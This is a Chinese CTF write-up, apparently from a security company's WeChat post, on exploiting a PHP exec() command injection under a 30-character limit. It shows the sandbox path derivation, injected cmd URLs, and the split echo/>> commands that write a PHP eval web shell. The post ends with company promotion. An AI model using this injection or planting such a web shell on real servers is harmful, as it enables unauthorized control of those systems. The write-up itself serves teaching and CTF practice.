团队小伙伴搞的一道ctf web题,基础又有挑战,虽然知道使用exec函数是存在命令执行漏洞了,但仍然无法快速的利用,结果很重要,过程更精彩。
靶场地址:
http://XX.xx.xx.xx:9999/
通过看代码发现exec函数,并且除了大小(小于30)外,未进行其他过滤措施。
命令执行
于是构造命令尝试执行,最终执行的命令不显示,但可以通过dnslog接收到数据,证明命令执行成功
但此时想要进一步利用,写shell遇到了困难,找不到上传shell的路径。
路径构造
最终是小伙伴同学给出答案,前面的一段代码如下:
$sandbox = '/var/www/html/sandbox/' . md5("M0rk" . $_SERVER['REMOTE_ADDR']);
mkdir($sandbox,0777,true);
chdir($sandbox);
代表的含义是:将字符串M0rk加上远程IP地址,加到一起转换为md5,然后和路径
/var/www/html/sandbox/
拼接起来作为一个有(上传)权限的路径
得到了上传路径:
http://xx.xx.xx.xx:9999/sandbox/caf06adec8256a36bf4c61ffe180dbed/
尝试传一个txt文件试试
原本没有1.txt
使用echo写入文件
访问
成功写入文件!
写shell遇到困难
接下来就是如何写入shell
直接写肯定是不行的
http://xx.xx.xx.xx:9999/index.php?cmd=echo'<?php @eval($_POST[1]);?>' > 1.php
由于前面已经说了是大小限制到了30个字符,因此每次执行命令不能超了30个字符
写到P的时候就执行不下去了
echo '<?php @eval($_P' > 1.txt
命令长度绕过
echo '<?php @eval($_POST[1]);?>'> 1.php
这样一个命令要分开多次才能写入shell
111111111111111111111111111111
echo '<?php ' > 1.php
echo '@eval(' > 1.php
echo '$_POST[1]);?>' > 1.php
由于这样写成了直接替换,这个时候遇到的问题应该是通过每次写入的内容要往下写,而不是替换:
在echo写入文件追加到末尾使用> >两个大于号
echo '<?php ' > 1.php //先写入php头
echo '@eval(' >> 1.php //追加内容
echo '$_POST[1]);?>' >> 1.php //追加最后部分内容
写入shell成功!
连接一下:
看一下写入的内容:
总结:
代码审计重要的还是基础,每一行代码都看懂才行。用工具盲测没出路了!
欢迎关注“天大天财”
关于天大天财
内蒙古天大天财信息技术有限责任公司,成立于1999年,是集网络安全服务、安全集成、计算机系统集成、公共安全技术防范系统设计|施工|维修为一体的综合性高科技信息公司
专注产生价值,天大天财致力于做内蒙古网络安全设计、实施、运维服务综合实力最强的本土品牌,我们潜心了解客户业务需求及痛点,注重提升与客户的粘合度,赢得了客户与市场的认可,享有很好的商誉;我们坚持以技术实施、服务为基础,注重技术团队的培养与提升,拥有一支技术过硬的服务团队,能够为全区客户提供及时的应急支援服务,同时,为了能够为客户做更优质更有水准的安全服务,我们成立了天大天财安全实验室,推出了自己的安全服务产品,收到客户的高度认可。
2018年被评为内蒙古网络安全行业协会理事长单位,获得内蒙古自治区科技型企业资质以及高新技术企业证书,涉密资质由原来的三项(集成、运维、安防)新增一项国家秘密载体印制资质证书.
安服团队连续三年参加省级攻防演练,并取得不错的成绩,在安全服务方面有全套网络安全解决方案。
服务能力图示:
服务热线:0471-2658551/552/553
地址:内蒙古自治区呼和浩特市赛罕区昭乌达路世纪六路鸿博大厦4层
原文始发于微信公众号(天大天财):php代码审计基础——命令执行绕过大小限制写入文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论